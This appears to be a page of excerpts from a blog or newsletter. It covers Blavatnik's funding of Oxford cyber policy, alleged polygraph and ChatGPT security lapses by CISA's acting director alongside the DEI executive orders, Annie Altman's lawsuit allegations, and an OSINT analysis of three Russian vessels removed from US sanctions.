ProMarket, a publication of the George J. Stigler Center at the University of Chicago’s Booth School of Business interviewed him at the time, noting that “Rothstein is one of the most influential political scientists in the world today, having spent decades studying corruption and quality of government.”

Cherwell, Oxford’s student newspaper, obtained Rothstein’s letter on October 31, 2017, and published a story quoting it the following day:

Rothstein told Cherwell that he had been “excommunicated” from the school and barred from his office and students after the resignation. The Blavatnik school disputed his characterization, calling his allegations “false.” NPR and The Guardian covered the resignation extensively.

Rothstein returned to Sweden.

Two years earlier, in November 2015, a group of academics, Oxford alumni, and Russian dissidents including physicist and human rights activist Pavel Litvinov had published an open letter in The Guardian urging Oxford to “stop selling its reputation and prestige to Putin’s associates,” as reported by the Oxford Student and covered in detail by Cherwell.

The letter was organized by Ilya Zaslavskiy, a specialist in due diligence, sanctions, and kleptocracy who holds an MPhil in International Relations from the University of Oxford. Zaslavskiy held positions in TNK-BP's international affairs and gas business units between 2006 and 2010 — the Blavatnik-Vekselberg-Fridman oil venture central to this piece — before being arrested by the FSB in March 2008 in what the Washington Post reported at the time was widely viewed as part of an effort to force TNK-BP's foreign partners out of the venture. The FSB initially accused Zaslavskiy and his brother of state treason; the charge was later downgraded to industrial espionage, and then to “failed attempt of industrial espionage,” before a 2009 trial that Zaslavskiy described as a show trial, which ended with a conviction and a sentence of two years of probation. More than 100 Western managers were forced out of TNK-BP during the same period, and TNK-BP's British CEO Robert Dudley was forced to leave the country.

Zaslavskiy has since served as head of research at the Free Russia Foundation, as a fellow at Chatham House, and as senior program manager at the Center for International Private Enterprise. He heads Underminers.info, a research project exposing Eurasian kleptocrats in the West, and has written research papers for the Atlantic Council, Hudson Institute, Martens Centre, and other leading think tanks. His April 2021 paper “Which Kremligarchs Should Be Sanctioned by the Biden Administration?” introduced the term Kremligarchs to describe a litany of individuals who “should be added to the US Treasury sanctions’ lists due to their close involvement in the Kremlin’s infrastructure designed to harm the US and its allies.”

In May 2022, CNN reported that a group of fifty-five American and European foreign policy experts and anti-corruption activists had written a letter in September 2019 to the board of the Council on Foreign Relations to protest CFR’s acceptance of a $12 million donation, stating that Blavatnik “uses his ‘philanthropy’ at leading western academic and cultural institutions to advance his access to political circles,” calling such giving a vehicle for “the infiltration of the US and UK political and economic establishments at the highest levels.”

CNN further contextualized the situation:

These concerns predate the cyber dimension entirely. The question of whether Blavatnik’s money buys influence at Oxford has been debated since 2010. What has changed is the nature of the people now accepting his hospitality. When the school hosted political scientists and public policy scholars, the stakes were academic.

Now that it hosts the former heads of CISA and NCSC — people who possess the most sensitive knowledge about Western cyber defense — the stakes have become both a matter of national security and perceptions of the same.

What Comes Next

The Oxford Programme for Cyber and Technology Policy is expanding. Its inaugural Oxford Cyber Forum has already taken place in June 2024. Easterly has contributed to classes, seminars, and public events, including a panel at OxCTP’s Global Tech Policy Seminar Series alongside former Executive Vice President of the European Commission Margrethe Vestager. The program aims to “help governments navigate the cyber frontier and encourage the responsible adoption of emerging technologies.”

This is, on its face, valuable work. Democratic societies need thoughtful cyber policy. Academic institutions play an important role in developing it. The question is not whether this work should be done, but whether it should be done under the name and with the money of a single private individual whose financial biography includes partnerships with sanctioned Russian oligarchs, offshore entanglements with Russian government officials, and documented participation in coordinated influence campaigns.

There are other places where these leaders could have landed. Easterly is a West Point graduate who could have returned there, and nearly did. Martin could have joined any number of British universities or think tanks. Both chose, or accepted, the institution that offered the most prestige, the most resources, and the most ambitious cyber policy program, which happens to be the one funded by Len Blavatnik.

The individual decisions are rational, but the systemic outcome warrants scrutiny.

When a single billionaire with documented Russian oligarch ties funds the academic home of both the American and British cyber chiefs, the school that trains future government leaders, and a cyber research center jointly operated with the Israeli Prime Minister’s Office, the resulting structure is not a conspiracy. It is something more durable: an institution. Institutions do not need to conspire. They shape behavior through incentives, access, and prestige, and they outlast any individual appointment.

The question for policymakers, for the intelligence community, and for the public is whether this particular institution, with this particular funding source, in this particular configuration, is something Western democracies should be comfortable with, or whether the concentration of cyber leadership under a single private benefactor represents a structural vulnerability that no one has been willing to name at the intersection where it matters most: the pipeline of departing cyber chiefs into a single donor-funded institution.

Correction, April 9, 2026: An earlier version of this piece described Ilya Zaslavskiy as “a former Russian politician.” Zaslavskiy is in fact a specialist in due diligence, sanctions, and kleptocracy who held positions in TNK-BP's international affairs and gas business units between 2006 and 2010 and was prosecuted in 2008-9 in what the Washington Post reported at the time was widely viewed as part of an effort to force TNK-BP's foreign partners out of the venture. The reference has been updated. I regret the error.

Five current officials and one former official later confirmed this to Politico. Then, he took it again. He did not pass the second time either. Within days of the first result, the employees who had arranged the examination and done nothing more than follow the security requirements of the originating intelligence agency received letters suspending their access to classified information. The acting director kept his badge, but the staffers who enforced the rules lost theirs.

That sequence of events, which received scattered coverage when it broke into public view last December, is the right place to start a story about an executive order that President Trump signed on March 26, 2026 — and about what has happened to the federal networks those staffers were paid to protect.

On April 1, 2026, the FBI notified Congress that Chinese hackers had breached one of its internal surveillance systems in what the bureau classified as a “major incident” under FISMA. The compromised system, known internally as DCS-3000, is a pen register and trap-and-trace collection network that stores metadata revealing who the FBI is watching: which phone numbers, which websites, which subjects of active counterintelligence investigations. The intrusion was traced to a third-party commercial internet service provider’s vendor infrastructure. It was, in other words, a supply-chain attack — the exact category of threat that Emergency Directive 21-01 was written to address, and that CISA retired in a bulk action on January 8, 2026, three weeks after the polygraph story broke. The CISA story, the DEI story, and the FBI breach story are the same story.

Understanding why requires going back to the beginning.

Sixty Years of Scaffolding

Lyndon Johnson signed Executive Order 11246 on September 24, 1965, in the middle of a decade that had already produced the Civil Rights Act and the Voting Rights Act. His order required federal contractors to do more than refrain from discrimination: they had to take affirmative steps to remedy it. Any company with a federal contract above $50,000 and at least 50 employees was obligated to develop a written Affirmative Action Program — an annual document specifying hiring goals, promotion timelines, pay equity analyses, and self-audits. A Labor Department bureau called the Office of Federal Contract Compliance Programs existed to enforce this, and in 2024 it was still recovering millions from contractors for alleged violations.

President Johnson’s theory was structural, rather than sentimental.

A labor market shaped by decades of exclusion from schools, professional networks, and institutions would, if left to its own devices, reproduce that exclusion through criteria that looked neutral but weren’t. The correction factor had to be built in. For sixty years, through administrations of both parties, through the Reagan era’s attempts to weaken it, the Clinton era’s “mend it, don’t end it” compromise, and Bush and Obama tenures where it remained effectively untouched, EO 11246 held.

On January 21, 2025, it was revoked.

The First Demolition

Trump’s second inaugural week produced two executive orders relevant here.

The first, EO 14151 (“Ending Radical and Wasteful Government DEI Programs”), was largely an internal matter: federal agencies were told to shutter their DEI offices, eliminate equity grants and contracts, and remove diversity requirements from employee performance reviews. Federal DEI staff were placed on administrative leave within days. The second order on the following day, EO 14173 (“Ending Illegal Discrimination and Restoring Merit-Based Opportunity”), did the structural work.

It abolished Johnson’s EO 11246 outright, dismantled OFCCP’s enforcement authority, and replaced sixty years of affirmative action mandate with a certification requirement: every new federal contract would have to include a contractor’s attestation that it was not running DEI programs in violation of anti-discrimination law. The certification clause carried a second provision that drew less attention at the time.

It stated that compliance was “material to the Government’s payment decisions” under the False Claims Act — the Civil War-era statute that authorizes the government to recover treble damages from contractors who defraud it. The FCA also allows private citizens to file suit on the government’s behalf and keep a share of what’s recovered. Those suits, called qui tam actions, are the mechanism through which the administration intends to make an example of holdouts. The White House’s FY2026 budget proposal sought to eliminate OFCCP, removing its EO 11246 enforcement authority, but Congress ultimately funded the agency at roughly $101 million in the Consolidated Appropriations Act of 2026, leaving it smaller, narrowed, and focused on a much thinner slice of contractor compliance.

Courts moved immediately. A Maryland district judge issued a nationwide preliminary injunction in February 2025, concluding that key provisions were likely unconstitutional, and the administration appealed. The Fourth Circuit stayed the injunction, then vacated a second one. On February 6, 2026, the court ruled in NADOHE v. Trump that the orders could not be struck down wholesale. Challengers would have to contest specific enforcement actions as they arose.

The orders have been fully operative ever since.

The Enforcement Machinery

In May 2025, Deputy Attorney General Todd Blanche announced what DOJ called the Civil Rights Fraud Initiative, pairing the Civil Fraud Section and the Civil Rights Division to pursue FCA actions against contractors whose DEI programs could be characterized as race-conscious. The legal theory was not complicated: a company that submits a payment request to the government certifies, implicitly, that it is complying with applicable law. If prohibited programs are maintained while collecting federal payments, every invoice is a false claim. By December 2025, DOJ had issued civil investigative demands (subpoenas for documents and testimony) to companies across finance, defense, technology, and healthcare.

The FCA set a record in FY2025 by “recovering” $6.8 billion. This was the largest annual total in the statute’s 160-year history, more than doubling the prior year’s $2.9 billion. DOJ’s press release announcing the figure specifically cited EO 14173 as an enforcement priority for FY2026.

One thousand two hundred ninety-seven (1,297!) qui tam suits were filed in FY2025 alone.

The Newest Order

The executive order signed a little more than a week ago is the campaign’s third instrument, and it addresses something the administration has evidently concluded the prior framework failed to prevent.

The White House fact sheet states this candidly: “some entities, including government contractors, have attempted to conceal ongoing DEI activities even as the Administration has worked to end them.”

Where EO 14173 asked contractors to certify their own compliance, the order requires that every covered contract contain a verbatim clause prohibiting “racially discriminatory DEI activities”, defined as disparate treatment in hiring, promotion, contracting, or program participation based on race or ethnicity as a condition of performance. FCA materiality language, previously embedded in guidance, is now written into the contract clause itself. Contractors must also report any subcontractor’s known or “reasonably knowable” violations up the chain of command. This is a reporting duty that runs opposite to the usual flow of federal oversight, from contractor employee to contracting agency, and bypasses the subcontractor’s own management.

The order covers only race and ethnicity, conspicuously omitting sex, sexual preference, religion, and national origin that appeared in EO 14173.

Gender-based DEI programs such as women’s leadership tracks and pay equity reviews are left to the broader regulatory environment. The Office of Management and Budget is directed to identify specific sectors at particular risk of violations based on past conduct and issue sector-specific guidance. Finance, defense, technology, and healthcare have already been named in prior DOJ statements.

Cybersecurity contractors, defense-adjacent and technology-forward, are obvious candidates for early targeting.

What Has Already Changed

Since Trump’s re-election in November 2024, roughly one in five U.S. companies has eliminated DEI programs.

Among those, fifty-seven percent reported hiring fewer workers from underrepresented groups, and a third reported promoting fewer. Representation of people of color in leadership fell at thirty percent of the companies that cut programs; women’s leadership representation fell at twenty-four percent. The Conference Board found that fifty-three percent of S&P 100 companies changed how they described DEI efforts in their 2025 regulatory filings. Mentions of the acronym “DEI” in Fortune 100 documents fell ninety-eight percent year over year; broader references to diversity dropped seventy-two percent. Much of what corporate America has done is not eliminate programs but rename them. This looks more like a retreat from transparency in an attempt to appear compliant with Trump’s rulings rather than a genuine retreat from actual practice.

More than twenty-six hundred jobs carrying “diversity” or “DEI” in the title have been eliminated since early 2023. The Pentagon cut or restructured a hundred and eighty-eight related positions.

The financial consequences have been real, yet unevenly distributed.

Target announced its DEI rollbacks in January 2025 and experienced more than two hundred days of declining performance: ten consecutive weeks of declining foot traffic, a missed first quarter, and an estimated twenty billion dollars in market capitalization erased by the time the full impact registered. Investors sued, alleging the company had misled shareholders about the financial risks of the decision itself, which was the first time a rollback decision generated securities litigation, inverting the conventional risk calculation entirely. Costco, which defended its commitments publicly during the same period of shareholder pressure, saw between 4.6% and 5.8% year-over-year foot traffic growth.

The CISA Catastrophe

CISA entered fiscal year 2025 with approximately 3,732 employees. The FY2026 budget proposal sought to reduce CISA’s staffing to 2,324 positions. What actually happened through layoffs, buyouts, and people who left without prompting because the environment had become untenable, brought headcount even lower to around 2,200 by mid-2025 — a loss of roughly a third.

About seventy staff were reassigned to other DHS components, including ICE, through management-directed transfers. The Cybersecurity Division, which monitors federal networks for intrusions, fell from around 1,100 people to around 800-850. CISA’s nationwide team of Cybersecurity Advisers — the field staff who connect companies with federal resources — went from 164 to about 97. The Stakeholder Engagement Division faced a sixty-two percent funding reduction; the National Risk Management Center, which provided cross-sector risk analysis, faced seventy-three percent.

In April, CISA announced it is planning to hire more than three hundred people. A familiar mechanism runs through both the CISA story and the DEI orders: remove the structure that enforced rules, wait to see what falls away, then propose to rebuild from a narrower base, under worse conditions, without restoring the safeguards that kept the enterprise functioning in the first place.

How Gottumukkala Got There

Madhu Gottumukkala arrived as acting director in May 2025, installed by Secretary Kristi Noem. His career had moved from Motorola and Verizon consulting to Samsung engineering to a CTO post at CallHealth in Hyderabad, then to Sanford Health, then to South Dakota state government as CIO. None of those roles required navigating the culture or methods of the intelligence community. Dakota State University — where Gottumukkala completed his PhD and later joined the advisory board — holds all three NSA Center of Academic Excellence designations and hosts an on-campus SCIF. To whoever placed him, that combination may have read as a credential. The substantive career remained in civilian IT and healthcare.

Within weeks of his arrival, Politico reported that in his first major intelligence briefing, he asked what threats the U.S. faced from the Southern border and India — a country that has never been considered a significant cyber adversary, while Russia and China were actively targeting American networks.

“Typically, India would be the last place we’d be talking about,” said one official who was in the room.

He also, within weeks of arrival, began pressing for access to a Controlled Access Program — among the most restricted intelligence compartments in existence, established only when ordinary Special Access Programs are insufficient, governed by the Director of National Intelligence, with entry conditions set by the originating agency. A senior career official denied the first request: there was no operational need, and his predecessor had never sought the same access. That official was subsequently placed on administrative leave. A second request, signed personally by Gottumukkala, went forward. His signature acknowledged the counterintelligence polygraph requirement mandated by the originating agency. Career staff arranged the examination.

In late July 2025, he took the polygraph.

He did not pass.

He took it again.

He did not pass again.

According to the March 13, 2026 congressional letter led by Rep. James Walkinshaw (VA-11) and signed by four colleagues — citing information provided to House Homeland Security Committee staff by one of the suspended employees — Gottumukkala failed two counter-intelligence scope polygraphs required for access to the program. The letter was addressed to the inspectors general of DHS and the Intelligence Community.

Two failures. The same program. At an agency whose statutory mission is protecting federal networks from adversaries.

Congress Asked. He Denied It.

At a House Homeland Security Committee hearing on January 21, 2026, ranking member Bennie Thompson (D-MS) asked Gottumukkala directly whether he had failed a counterintelligence polygraph. Gottumukkala told Congress he “did not accept the premise of that question.”

The Walkinshaw letter, filed six weeks later, states that he “falsely accused career CISA staff of providing incorrect information” and asks whether his actions to “obstruct or retaliate against DHS employees for disclosing his two counter-intelligence polygraph failures to the Director of National Intelligence constitute a Prohibited Personnel Practice under 50 U.S. Code § 3234.”

The lawmakers also ask whether CISA’s Chief Security Officer ever alerted ODNI, as federal statute requires following a polygraph failure, and whether ODNI engaged a review of Gottumukkala’s clearance.

The answers remain publicly unknown.

The Staff Who Enforced the Rules Were Punished

On August 1, 2025, acting DHS Chief Security Officer Michael Boyajian sent letters to six CISA employees suspending their classified access. Their stated offense: providing false information to the acting director about the necessity of a polygraph. They had not created the requirement. They had followed the conditions the originating agency laid down. The practical offense was arranging a procedure that produced an embarrassing result for a political appointee.

By December, twelve officials — among them several Trump appointees — had described the episode to Politico on background despite the risk to their own careers.

“Instead of taking ownership and saying, ‘Hey, I screwed up,’ he gets other people blamed and potentially ruins their careers,” one current official said. “We’re a sinking ship.

We’re like the Titanic,” said another.

As of February 2026, those employees’ clearances remained revoked and they remained on administrative leave — more than six months after the original letters.

DHS’s public response came from Assistant Secretary Tricia McLaughlin, who stated that Gottumukkala “did not fail a sanctioned polygraph test” (the emphasis is mine.) The statement does not assert he passed a test. It does not dispute that counterintelligence examinations took place. It does not deny that the SAP (Special Access Program) owner required one as a condition of access, or explain why his own signature on the access request would not have alerted him to that condition. Under DHS’s reading, the polygraph was unauthorized because political leadership had never formally approved the access request in the first place — which would mean Gottumukkala pursued restricted intelligence access after being denied, after the official who denied him had been conveniently removed.

Neither interpretation is flattering.

The ChatGPT Incident

The polygraph failures were not the only security lapse. Between mid-July and early August 2025 — the same period as the first polygraph — Gottumukkala uploaded at least four documents marked “for official use only” to the public version of OpenAI’s ChatGPT. The uploads triggered automated cybersecurity alerts designed to detect theft or unintentional disclosure of government materials from federal networks, generating several alerts in the first week of August alone. He had personally requested special authorization from CISA’s Chief Information Officer to use OpenAI’s ChatGPT shortly after joining the agency, despite the fact that the tool is blocked for most DHS employees over concerns that sensitive information could be retained outside federal systems. Data entered into the public version of ChatGPT can be incorporated into OpenAI’s training data and exposed to hundreds of millions of users.

After the alerts surfaced, Gottumukkala met with CISA’s CIO Robert Costello, its chief counsel, and DHS’s acting general counsel to assess potential harm. CISA spokesperson Marci McCarthy described the usage as “short-term and limited” and said he had operated under an authorized temporary exception. Costello, the CIO who sat across from him in those meetings, subsequently tried to be dismissed by Gottumukkala in January 2026 — an effort blocked by other senior political appointees, but one that accelerated his departure from CISA and federal service.

Chair of the Senate Judiciary Committee Senator Chuck Grassley (R-IA) sent CISA a letter pressing the agency about the ChatGPT incident. As of this writing in early April 2026, CISA has not responded.

In his first weeks on the job, the man running the agency responsible for federal cybersecurity hygiene had uploaded government documents to a commercial AI platform, failed a counterintelligence polygraph, then failed a second one.

Why the Polygraph Failures Are Unsurprising in Context

Read more

I’ve been following Annie Altman’s allegations against her brother since before most people had heard her name.

In November 2023, when Sam Altman’s abrupt firing from OpenAI sent the tech world into a frenzy of speculation, I published an analysis exploring what might have rattled the board. In a section of that piece titled ‘Scenario 3,’ I discussed the abuse allegations Annie had recently shared on social media. She subsequently published a statement on her Medium blog, which she then republished in full as a guest post on this site under her own byline.

At the time I wrote my analysis, I was careful to note the allegations were unproven. I still am.

But I am not a lawyer, and I’m not a childhood sexual abuse expert. What I am is someone who has had direct interactions with Annie Altman and, based on those interactions, formed a professional and personal assessment: her allegations were credible. Having reviewed every key document in the federal court record, including the amended complaint she filed on April 1, 2026, I believe her even more.

This is the story of what that record actually says, what a federal judge has already decided, and what happens next. It is also, necessarily, the story of what happened to Annie when she tried to tell it the first time.

The Lawsuit

On January 6, 2025 — just two days before the statute of limitations expired — Ann “Annie” Altman filed a civil lawsuit against her brother Samuel “Sam” Altman in federal court in St. Louis. The case, Ann Altman v. Samuel Altman, Case No. 4:25-cv-00017-ZMB, is assigned to U.S. District Judge Zachary M. Bluestone in the Eastern District of Missouri.

The complaint is not ambiguous. Annie alleges that Sam sexually abused her continuously from approximately 1997 to 2006, beginning when she was three years old and he was twelve, at the family home in Clayton, Missouri. The abuse, she alleges, progressed from forced oral contact to digital penetration to rape and sodomy, occurring multiple times per week during the early years and continuing until she was approximately eleven or twelve.

The last acts, she alleges, were committed by Sam as an adult against a minor.

Read more

I spent the last eight hours confirming and re-confirming what I found. I needed to be sure before writing that a foreign head of government is implicated in a consequential decision made today by Treasury — and that the public record establishing that connection has been sitting there, openly, for sixteen years.

The delisting went through without a word. The responses to journalists have been unremarkable boilerplate. What follows is what I found, how I found it, and why it matters.

On the last day of March, the Treasury Department’s Office of Foreign Assets Control (OFAC) published a routine-looking administrative action: a batch of name removals from the Specially Designated Nationals (SDN) list. Buried among counter-narcotics delistings were three Russian-flagged vessels — FESCO Moneron, FESCO Magadan, and SV Nikolay.

Three lines of text on a government webpage made these three ships no longer subject to U.S. sanctions.

I had been watching all three.

For the past couple of weeks, I have been building and improving PHANTOM WAKE (phantom-wake.com), a maritime hybrid warfare intelligence platform I created primarily to track Russia’s shadow fleet.

It draws from various sources such as public sanctions data, real-time AIS vessel tracking feeds, Ukrainian military intelligence databases, and Global Fishing Watch’s historical behavioral records, running every vessel through a multi-factor behavioral scoring engine I developed. The tool was directly inspired by Andrei Soldatov and Irina Borogan’s November 2025 investigation in Foreign Affairs, “Moscow’s Offshore Menace,” which documents how Russia’s sanctioned fleet has evolved from a financial evasion mechanism into an active platform for hybrid warfare. When OFAC published today’s action, all three of the newly delisted ships were already live in my system, flagged with active anomalies.

What the data shows about these vessels does not square with a routine administrative cleanup.

“Ordinary Course of Business”

Asked about the deletions, a U.S. Treasury spokesperson told the Kyiv Independent that the actions are “not indicative of a broader shift in the U.S. Russia policy,” adding that “the removals implemented today were done in the ordinary course of business as part of OFAC’s investigations and based on a thorough review.” The spokesperson noted that such reviews may be triggered by requests from sanctioned individuals, internal OFAC considerations, or “in response to other national security and foreign policy priorities consistent with the law.”

“The ultimate goal of sanctions is not to punish but to change behavior and to promote accountability,” the spokesperson said.

That explanation deserves to be tested against the full record of what Treasury has been doing in relation to Russian sanctions for the past 33 days because today’s vessel delistings did not arrive in a vacuum. A review of OFAC’s own published actions since late February reveals a systematic, rolling dismantlement of Russia-related sanctions pressure across multiple sectors simultaneously:

• February 27: Three PMC Wagner Group-linked individuals removed from the SDN list under Russia-EO14024

• March 5: General License 133 issued, authorizing Russian oil deliveries specifically to India. This oil license was issued within days of the Hormuz closure beginning around February 28

• March 12: General License 134 issued, authorizing Russian oil sales globally, citing market disruption from the closure of the Strait of Hormuz

• March 18: Evgeniya Tyurikova, a senior Sberbank executive sanctioned for her role in Russia’s financial system was quietly removed from the SDN list, along with a Turkish sanctions evasion network and a UAE-based entity

• March 19: GL-134 amended and extended as GL-134A

• March 20: A UAE freight company and several individuals sanctioned for Russian sanctions evasion removed from the SDN list

• March 27: Vladimir Dmitriev, former head of Vnesheconombank (VEB) — Russia’s state development bank was removed under Russia-EO14024; Andriy Portnov, a Yanukovych-era Ukrainian official with longstanding Russian political ties, removed under Global Magnitsky along with his charitable foundation, ANDRIY PORTNOV FUND

• March 30: General License 131D amended to facilitate the negotiated sale of Lukoil International GmbH — the day before today’s vessel delistings

• March 31: FESCO Moneron, FESCO Magadan, and SV Nikolay removed from the SDN list

Treasury’s “ordinary course of business” explanation might have held for each action read in isolation. Against the full 33-day sequence — PMC Wagner personnel, a Sberbank executive, VEB’s former head, a Yanukovych political ally, oil license upon oil license, a Lukoil transaction pathway cleared, and now defense-bank vessels — it becomes considerably harder to sustain.

Russia’s Informal Military Flotilla

To understand why these three vessels matter specifically, you have to understand who owns them.

FESCO Moneron and FESCO Magadan are currently owned and operated by Investconsulting LLC, a Russian company whose corporate lineage runs directly through the FESCO Group. Transgarant LLC, which founded Investconsulting, is 91.2% owned by PJSC DSMP, the FESCO Group’s parent company. But their previous owner tells the more significant story: both vessels were held by PSB Leasing LLC, a subsidiary of Promsvyazbank (known in Russia by its initials PSB), before being transferred into the FESCO corporate structure after sanctions were imposed, a transfer that is itself a textbook sanctions evasion technique.

The U.S. sanctioned both vessels in February 2022 as part of a package targeting five PSB Leasing-owned ships. Today’s action removes two of the five. The three that remain on the SDN list are Baltic Leader, Linda (now Inda), and Pegas (now Gallileo). Notably, both Linda and Pegas have already been renamed using similar identity-cycling behavior flagged in FESCO Magadan — and Linda has also cycled through multiple flags including Liberia, Netherlands, and Russia.

PSB is not a typical commercial bank. PSB itself was seized from its founders, brothers Dmitry and Alexei Ananyev, by Russia’s Central Bank in late 2017 — and then repurposed by the Kremlin as its defense-sector bank. The Ananyevs fled Russia, and the vessel assets remained. Since 2018, PSB has operated as Russia’s designated defense-industry financial institution, processing state defense contracts for the Ministry of Defense, providing mortgage and banking services exclusively for military personnel, and extending its operations into Russian-occupied territories of Ukraine. Sanctioning these vessels was, in effect, sanctioning assets of Russia’s military bank.

The SV Nikolay carries a different ownership chain but a grimmer operational history. Sanctioned in connection with Russia’s Alfa-Bank, the financial empire co-built by Mikhail Fridman and Peter Aven, both of whom were sanctioned by the EU and UK — and both of whom successfully challenged their EU designations in court in 2024, with an Advocate General opinion suggesting a further appeals ruling may go their way. According to Ukrainian authorities, the vessel has been involved in transporting stolen grain from Russian-occupied Ukrainian territories to Turkey.

Reuters used satellite imagery and ship-tracking data to reconstruct a June 2022 voyage in which SV Nikolay appeared at Crimea’s main grain terminal before docking in Izmir, Turkey — while its own documents claimed the cargo had been loaded at a Russian port 160 miles away. The 10,000-metric-ton corn shipment was purchased by Turkish food company Yayla Agro, which said it had been given falsified documents. Ukrainian military intelligence lists the vessel as actively involved in stolen grain transport to Turkey to this day.

This is not a ship that was swept up in broad financial measures and later found to be commercially innocent. SV Nikolay has had a documented role in the physical looting of Ukrainian agricultural output.

The Trump administration’s official framing for its Russia sanctions relief program has centered on energy markets: U.S.-Iran tensions sent oil prices surging, the Strait of Hormuz effectively closed, and on March 12 Treasury issued a general license permitting the purchase of certain sanctioned Russian oil at sea. The March 5 India-specific oil license suggests that framing was already in motion before the Hormuz closure, complicating the implied causation.

And regardless, FESCO Moneron, FESCO Magadan, and SV Nikolay are container ships and a general cargo vessel. They do not carry oil. The energy market rationale does not apply here.

What “Going Dark” Means

Every large commercial vessel is required by international law to operate an Automatic Identification System (AIS) transponder which broadcasts the ship’s identity, position, speed, heading, and declared destination. Port authorities, coast guards, insurers, and compliance teams all rely on this data. “Going dark” means switching the transponder off, or transmitting false data. When a vessel disappears from AIS tracking, it may be in a geographic dead zone beyond terrestrial receiver range, experiencing equipment failure, or deliberately suppressing its signal to conceal where it is and what it is doing.

In the context of Russia’s shadow fleet, deliberate darkness is the rule, not the exception. Extended AIS gaps correlate reliably with ship-to-ship oil transfers at sea, undeclared Russian port calls, and, according to Soldatov and Borogan’s reporting, potentially the positioning of personnel and equipment for hybrid warfare operations.

The tanker Boracay, previously sanctioned by the UK and EU, was tracked near the Danish coast during drone incursions that forced the closure of Copenhagen Airport in September 2025 — one of three shadow fleet vessels Danish authorities placed under investigation as a possible drone launch point. French commandos boarded the ship in international waters off Ushant Island on September 27, finding approximately $100 million in Russian oil bound for India, two Russian private security agents who, according to French investigators, were controlling the crew and “representing Russian interests and gathering intelligence”, and a false flag of Benin flying where a proper registration should have been. French President Emmanuel Macron said the vessel was suspected of “serious offences” but declined to address the drone speculation directly.

Putin called the French boarding “piracy.”

Just yesterday, the day before OFAC quietly removed these three Russian vessels in question from the SDN list, a criminal court in Brest, France sentenced the Boracay's captain, Chinese national Chen Zhangjie, to one year in prison and a €150,000 fine — in absentia, because he was already back at sea.

The ship itself has since been renamed Feniks (“The Phoenix”) and was last reported flying the Russian flag in the Strait of Malacca. Its ultimate beneficial owner has not been publicly identified.

The shadow fleet’s dual life as economic instrument and military-intelligence platform reflects a Soviet-era operational playbook Russia has maintained for nearly a century.

What I Found Using PHANTOM WAKE

PHANTOM WAKE maintains a watchlist of 2,000+ vessels drawn from OpenSanctions, which aggregates designations from OFAC, the EU, UK, Australia, Canada, and Ukraine, and from GUR Ukraine’s independently compiled shadow fleet database. Every vessel with a known position is scored continuously against a multi-tier risk formula: static identity factors including flag state, ownership opacity, and the history of name changes; behavioral signals derived from AIS data; infrastructure proximity checks against more than 700 submarine cable routes; and fleet-clustering detection that flags when multiple tracked vessels converge in the same area.

The platform draws entirely on publicly available data sources. Every feed it taps are accessible to anyone. What the scoring engine does is fuse those signals into a continuous, ranked assessment of which vessels warrant added attention, and why. Beyond sanctions evasion, PHANTOM WAKE monitors a second threat class that has received far less public attention: shadow fleet vessels being used to destroy the undersea cables and power lines that keep Europe’s lights on and internet running.

The incidents are no longer hypothetical.

In November 2024, a Chinese-flagged bulk carrier called the Yi Peng 3 crossed the Baltic Sea and left two severed cables in its wake. One of them, the C-Lion1, was the only direct telecommunications cable connecting Finland to Central Europe — 144 terabits per second of internet traffic, gone. The other, the BCS East-West link, carries a significant share of Lithuania’s internet capacity. Both were cut within hours of each other. On Christmas morning 2024, the Eagle S dragged its anchor across the Estlink-2 cable on the floor of the Gulf of Finland. Estlink-2 is not a data cable — it is the power line that carries electricity from Finland into Estonia. Cross-border power transmission dropped by two-thirds, from 1,016 megawatts to 358. Estonia’s government convened an emergency session. Repairs were expected to take up to seven months. Finland seized the Eagle S at sea.

Estonia’s Prime Minister said publicly that shadow tankers “assist Russia in generating revenue that supports its hybrid attacks.” In January 2025, the MV Arne was caught dragging its anchor through 90 meters of water — nearly three times the depth at which commercial vessels normally anchor — directly over the AEC-1 cable off Ireland’s County Mayo coast. German police who boarded the vessel later found it was missing its anchor entirely.

The AEC-1 is Ireland’s only dedicated transatlantic cable, carrying internet and cloud traffic between New York and Europe, including a dedicated connection used by the U.S. Department of Energy to move scientific data between American national laboratories and CERN’s particle accelerator in Switzerland. If the cable had been cut, there is no backup route. Ireland has no redundant transatlantic cable. None of these three incidents was detected before the damage occurred. Each required a patrol aircraft or seized vessel to piece together what had happened after the fact.

The method is almost always the same: anchor drag. A ship drops or drags its anchor across a cable route, the anchor snaps fibers or power lines that have lain undisturbed on the ocean floor for decades, and the vessel sails away. It looks like an accident. It usually isn’t. PHANTOM WAKE checks every vessel’s position against 708 submarine cable routes in real time, flagging ships that anchor in suspiciously deep water, loiter over cable corridors at near-zero speed, or go dark in an area where their projected path crosses critical infrastructure. The three vessels delisted today did not trigger cable proximity alerts during the monitoring window. But the behavior that makes a vessel dangerous to cables, such as extended radio silence, deep-water loitering, and/or weeks of static position data, is exactly the behavior all three have displayed. The tool was built to find vessels like these before the next cable goes dark, not after.

Here is what the system was showing for the three vessels as of this afternoon.

SV Nikolay carries the highest risk score of the three: 52 out of 100, in the HIGH tier. Its AIS transponder has been effectively silent for 197 days. The last confirmed transmission was September 15, 2025. Its last reported position places it near 41.3 degrees north, 29.5 degrees east — the northern Bosphorus approaches, one of the most strategically significant chokepoints in the world for Russian commercial and naval traffic, and a well-documented hub for ship-to-ship grain and oil transfers. PHANTOM WAKE flagged it with the STS_ZONE_DARK signal: the vessel went dark while inside a known ship-to-ship transfer zone.

Something else stood out when I reviewed the PHANTOM WAKE data for all three vessels. Their draught readings (the measure of how deep a hull sits in the water, a direct proxy for cargo and fuel load) were completely static across 18 consecutive daily readings spanning nearly three weeks.

In commercial shipping, draught varies constantly. Fuel burns, ballast is adjusted, cargo is loaded and offloaded. A flat line across days or weeks suggests one of several possibilities: the vessel is moored and not operating commercially; the position data being broadcast is replayed or fabricated; or the vessel is being held in a deliberate staging posture. Any of these would be consistent with the broader evasion pattern these ships have displayed.

The SV Nikolay’s draught reading has not moved by so much as a tenth of a meter across 18 consecutive daily readings spanning March 14 through March 31. It has no declared destination. This is the same vessel used to move stolen Ukrainian grain to Turkey — more on that below.

FESCO Moneron (Cyrillic: ФЕСКО МОНЕРОН) last transmitted a confirmed AIS signal on December 21, 2025 — ninety-nine days ago. Its reported position puts it in the Sea of Okhotsk, off Russia’s Pacific coast, moving at 13.1 knots. Global Fishing Watch recorded four loitering events for this vessel in the past twelve months: three consecutive days in late February 2026 near 50.9 degrees north, 150.5 degrees east, roughly 88 kilometers offshore and well clear of any declared port, drifting at between 0.34 and 1.13 knots. Its draught, 6.2 meters, has not changed across 18 consecutive readings since March 14.

